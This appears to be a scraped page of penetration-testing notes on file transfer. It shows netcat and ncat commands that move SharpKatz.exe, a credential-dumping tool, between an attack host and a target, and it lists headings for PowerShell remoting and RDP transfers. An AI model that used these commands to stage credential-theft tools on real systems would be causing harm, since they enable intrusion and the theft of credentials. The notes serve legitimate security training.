Miscellaneous File Transfer Methods
File Transfer with Netcat and Ncat
Target Machine
nc -l -p 8000 > SharpKatz.exencat -l -p 8000 --recv-only > SharpKatz.exeAttack machine
nc -q 0 192.168.49.128 8000 < SharpKatz.exencat --send-only 192.168.49.128 8000 < SharpKatz.exeAttack Host - Sending File as Input to Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exesudo ncat -l -p 443 --send-only < SharpKatz.exeTarget - Connect to Netcat to Receive the File
nc 192.168.49.128 443 > SharpKatz.exeTarget - Connecting to Netcat Using /dev/tcp to Receive the File
PowerShell Session File Transfer
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
Create a PowerShell Remoting Session to DATABASE01
Copy samplefile.txt from our Localhost to the DATABASE01 Session
Copy DATABASE.txt from DATABASE01 Session to our Localhost
RDP
Mounting a Linux Folder Using rdesktop
Mounting a Linux Folder Using xfreerdp
Windows

Last updated